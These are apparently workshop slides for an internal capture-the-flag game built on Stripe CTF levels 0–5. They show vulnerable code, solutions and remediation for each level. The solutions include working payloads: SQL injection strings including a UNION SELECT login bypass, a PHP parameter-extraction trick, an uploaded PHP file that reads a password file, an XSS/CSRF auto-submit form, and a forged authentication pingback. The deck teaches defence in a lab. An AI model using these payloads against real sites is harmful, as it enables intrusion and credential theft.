bazaarvoice

b: SECURE

Capture the Flag

Powered by:

Ready

What is Capture the Flag ?

- An application security game
- Hands-on security education
- A chance to play at work and get free cookies
- Test your own development skills
- Prizes
  - Big prize awarded to the team that wins the most levels
  - Tie: prize goes to winner of the last level

CTF Structure

- The goal is to exploit web application vulnerabilities
- Nine levels to complete – shoot for 3-4 today
    - You start with level 0, and work your way to level 8. Victory is obtained by finding the key stored in level 8.
- Hack the level, loot the password for the next level, use it to unlock the next level.
- At the end of the level, discuss the solution and award the fastest/best looters.
- And no, the directories you will access do not contain the executing code for the puzzles.

Rules of Engagement

- Be Inventive
  - There are all sorts of ways to attack code: bad parameters, XSS, SQL injection, and more. Everything is on the table!
- Collaborate
  - This is a learning exercise, and the best way to approach it is to work together.
- No changing the code! That only works for Captain Kirk.
  - All of the challenge levels can be broken through the web interface, with the code running as it is presently written.
- Victory is Obtaining the passcode from the next level

Get Set Up

- View the Repository
  - Read the documentation for participation. The code will be easier to view in the repository as well.
- Get the VM
  - Download the VM for the session and follow the instructions in the repository for participants to set up and launch the VM.
- Ensure you can log in
  - You will be given a password for the ctf user. Make sure you can log in to the VM.
- Ask if you have problems.

Ready? Let's Get Started

Level 0: Secret Safe

We'll start you out with Level 0, the Secret Safe. The Secret Safe is designed as a secure place to store all of your secrets. It turns out that the password to access Level 1 is stored within the Secret Safe. If only you knew how to crack safes...

- Run ctf-run 0 to start the server on port 3000.
- Go to http://192.168.57.2:3000 in your browser.
- Run ctf-halt 0 to stop the server.

Level 0: Secret Safe

HINT:

SQL is your friend, but only if you treat it right.

Level 0: Secret Safe

The Solution

Level 0: Secret Safe

This is a basic SQL injection attack.

Here's the flawed code in *level00.js*:

```
if (namespace) {
  var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
  db.all(query, namespace, function(err, secrets) {
    if (err) throw err;

    renderPage(res, {namespace: namespace, secrets: secrets});
  });
```

Wildcard the var namespace, and the contents of table *secrets* are dumped to the screen

Level 0 : Remediation

First layer of defense: Parameterized queries

Second layer of defense: Input validation

Note that valid input for SQL can still be invalid input for your application!

Level 1: Guessing Game

All you have to do is guess the combination and you'll be given the password to access Level 2! We've been assured that this level has no security vulnerabilities in it so you'll probably just have to try all the possible combinations. Or will you...?

- Run ctf-run 1 to start the server on port 8000.
- Go to http://192.168.57.2:8000 in your browser.
- Run ctf-halt 1 to stop the server.

Level 1: Guessing Game

HINT:

Are you sure you understand exactly how file_get_contents works?

Level 1: Guessing Game

The Solution

Level 1: Guessing Game

Unsanitized parameter input is your undoing.

Here's the flawed code in *index.php*:

```php
<?php
  $filename = 'secret-combination.txt';
  extract($_GET);
  if (isset($attempt)) {
    $combination = trim(file_get_contents($filename));
    if ($attempt === $combination) {
      echo "<p>How did you know the secret combination was" .
           " $combination!?</p>";
      $next = file_get_contents('level02-password.txt');
```

The url variables ($_GET) are extracted to variables. At no point are their contents escaped or whitelisted….

Level 1: Guessing Game

```php
<?php
  $filename = 'secret-combination.txt';
  extract($_GET);
  if (isset($attempt)) {
    $combination = trim(file_get_contents($filename));
    if ($attempt === $combination) {
      echo "<p>How did you know the secret combination was" .
           " $combination!?</p>";
      $next = file_get_contents('level02-password.txt');
```

The crux move here is to get $attempt and $combination to match type and contents. $combination is derived from $filename. A null is a null is a null…

…index.php/?attempt=&filename=&

Level 1 : Remediation

Input validation and SQL:

- Never trust any input. Always sanitize user-entered parameters before use.
- Think carefully about what “valid” and “safe” means for your application.

Level 2: Social Network

Social Networks are all the rage these days, so we decided to build one for CTF. Please fill out your profile at on the level 2 server. You may even be able to find the password for Level 3 by doing so.

- Run ctf-run 2 to start the server on port 7000.
- Go to http://192.168.57.2:7000 in your browser.
- Run ctf-halt 2 to stop the server.

Level 2: Social Network

HINT:

The page lets people upload images. Is that the only thing you can upload?

Level 2: Social Network

The Solution

Level 2: Social Network

"I know kung fu"

This where you use the server against itself by using what's called Local File Inclusion.

Note the big hint here? The app really, really wants you to upload something. It could be a image file, but could it be malicious code?

Yes. Yes, it can.

Level 2: Social Network

```
<div>
  <img src=<?php echo $url; ?> />
  <?php
```

```
<form action="/index.php" method="post" enctype="multipart/form-data">
  <input type="file" name="dispic" size="40" />
  <input type="submit" value="Upload!">
</form>
```

The relevant code in *index.php* shows that the image file you upload is never validated in any way.

Also note the there's an *./uploads* dir for images, and a *./password.txt* file laying about.

Level 2: Social Network

Instead of an image try uploading *evil_pic.php*...

```
<?php echo file_get_contents('../password.txt');
```

Not a great looking picture, but effective.

Go to *http://192.168.57.2:7000/uploads/evil_pic.php* and loot.

Level 2 : Remediation

Local File Inclusion (LFI):

- Sanitize all user input. Do not pass it to any file system or framework API.
- Whitelist hardcoded paths that are accessed via an identifier. If dynamic paths are required then sanitize all input. E.g. disallow ".." or "/" or "%00" (null byte), etc.
- Limit the API to allow inclusion only from a directory and subdirectories. Limit filesystem permissions for the application to that directory. E.g. no chroot and similar.

Level 3: Secret Safe

After the fiasco back in Level 0, management has decided to fortify the Secret Safe into an unbreakable solution. The resulting product is Secret Vault, which is so secure that it requires human intervention to add new secrets. A beta version has launched with some interesting secrets (including the password to access Level 4).

- Run ctf-run 3 to start the server on port 5000.
- Go to http://192.168.57.2:5000 in your browser.
- Run ctf-halt 3 to stop the server.

Level 3: Secret Safe

HINT:

How can we select a hash that we made in the first place?

You did make a hash, didn't you?

Level 3: Secret Safe

The Solution

Level 3: Secret Safe

"These pretzels are making me thirsty"

From the text, we clearly want Bob's secret. But what is his bloody password?

You could try guessing, but let's look at the code...

Level 3: Secret Safe

```
query = """SELECT id, password_hash, salt FROM users
           WHERE username = '{0}' LIMIT 1""".format(username)
cursor.execute(query)

res = cursor.fetchone()
if not res:
```

This code tells you SQL injection is your friend.

So how can you fool the query to give you a row when you don't know Bob's password? What if you could ignore the database results and sub in your own password hash?

Level 3: Secret Safe

Try using the "Select Union" style of injection. This allows you to union the results of your own select to the intended select statement already in code.

Let's try it...

SELECT id, password_hash, salt FROM users WHERE username = '*' UNION SELECT (select id from users where username = 'bob'), my_hash,* ' LIMIT 1"""".format(username)

Level 3: Secret Safe

Note how the hashed password is used...

```
calculated_hash = hashlib.sha256(password + salt)
if calculated_hash.hexdigest() != password_hash:
    return "That's not the password for {0}!\n".format(username)
```

Our union select will let us poison the query results by subbing in my_hash as the value for password_hash.

Not helpful. But what if we gave it the hash for a password and salt we picked out?

Level 3: Secret Safe

Go to any online sha256 calculator and figure out the sha for the string “foo”.
Put that in our union select like so…

' UNION SELECT (select id from users where username = 'bob'), '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae', '

Level 3: Secret Safe

Now you are ready to hack the web app with...

Username: ' UNION SELECT (select id from users where username = 'bob'), '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae', '

Password: foo

Level 3 : Remediation

This is the more traditional style of SQL Injection. Beat it with:

- Parameterized queries
- Input validation

Level 4: Karma Trader

The Karma Trader is the world's best way to reward people for good deeds. You can sign up for an account, and start transferring karma. In order to ensure you're transferring karma only to good people, transferring karma to a user will also reveal your password to him or her. The very active user karma_fountain has infinite karma, making it a ripe account to obtain (no one will notice a few extra karma trades here and there). The password for karma_fountain's account will give you access to Level 5. For the purposes of this test the karma_fountain user is active via the web interface every 30 seconds, using a script, CasperJS, and PhantomJS to simulate human activity.

- Run ctf-run 4 to start the server on port 4567, and start the activities of the karma_fountain user.
- Go to http://192.168.57.2:4567 in your browser.
- Run ctf-halt 4 to stop the server and the karma_fountain user activities.

Level 4: Karma Trader

HINT:

Have you ever thought about how to make someone else's browser do what you want it to do? Browsers execute whatever's on the page. How could you inject something on it?

Level 4: Karma Trader

The Solution

Level 4: Karma Trader

If you look at the code, you can see that there's no input checking, this means your user name and password are ripe for injecting a script, also known as cross-site scripting (XSS).

If you look at how Karma Trader works, you'll need to fool the karma_fountain user into giving you points so you can see its password, aka the loot.

What if you made karma_fountain execute a script you inject? This is called cross-site Request Forgery (CSRF).

Level 4: Karma Trader

Create a user named “phil” with a password that looks like this (or any other way of injecting a submit):

```
<form id="x" method="post" action="transfer"><input type="hidden" name="to" value="bob"><input type="hidden" name="amount" value="100000"></form><script>document.getElementById('x').submit();</script>
```

Create a user named “bob” and log in. You should see a gift from karma_fountain... I mean the password loot, not the points.

Level 4 : Remediation

Cross-site scripting (XSS):

- First layer of defense: Output encoding
- Second layer of defense: Input validation

Cross-site request forgery (CSRF):

- Append unique token to each sensitive request and associate them with the user's session. Validate each request against the token.

Level 5: DomainAuthenticator

To authenticate to a site, you simply provide the DomainAuthenticator username, password, and pingback URL. The site posts your credentials to the pingback URL, which returns either "AUTHENTICATED" or "DENIED". We've been using the Stripe CTF DomainAuthenticator instance to distribute the password to access Level 6. If you could only somehow authenticate as a user... To avoid nefarious exploits, the machine hosting the DomainAuthenticator has very locked down network access. It can only make outbound requests to other local servers. Though, you've heard that someone forgot to internally firewall off the high ports from the Level 2 server. NB: During the actual Stripe CTF, we allowed full network access from the Level 5 server to the Level 2 server. Here both servers are running on the same machine, but the effects are the same.

- Run ctf-run 5 to start the server on port 4568.
- Run ctf-run 2 to start the level 2 server on port 7000.
- Go to http://192.168.57.2:4568 in your browser.
- Run ctf-halt 5; ctf-halt 2 to stop the servers.

Level 5: DomainAuthenticator

HINT:

This would all be so easy if only we controlled the pingback response contents...

Level 5: DomainAuthenticator

The Solution

Level 5: DomainAuthenticator

Note the really big hint of running puzzle 2, perhaps that can help?

What did puzzle 2 let us do? Local file inclusion. But how will that help us authenticate.

Quick! To the code! Here's the how the expose the loot:

```
if user && host
  output += "<p> You are authenticated as #{user}@#{host}. </p>"
  if host =~ PASSWORD_HOSTS
    output += "<p> Since you're a user of a password host and all,"
    output += " you deserve to know this password: #{PASSWORD} </p>"
  end
```

Level 5: DomainAuthenticator

And here's what the authentication via the pingback hinges on:

```
def authenticated?(body)
  body =~ /[^\w]AUTHENTICATED[^\w]*$/
end
```

What if we upload a file that simply contains ".AUTHENTICATED.?"

Once that's in place, we can make the file our pingback:
http://localhost:7000/uploads/pingback.php

Level 5 : Remediation

Local file inclusion (LFI) to subvert an authentication request:

- Sanitize all user input. Do not pass it to any file system or framework API.
- Whitelist hardcoded paths that are accessed via an identifier. If dynamic paths are required then sanitize all input. E.g. disallow ".." or "/" or "%00" (null byte), etc.
- Limit the API to allow inclusion only from a directory and subdirectories. Limit filesystem permissions for the application to that directory. E.g. chroot and similar.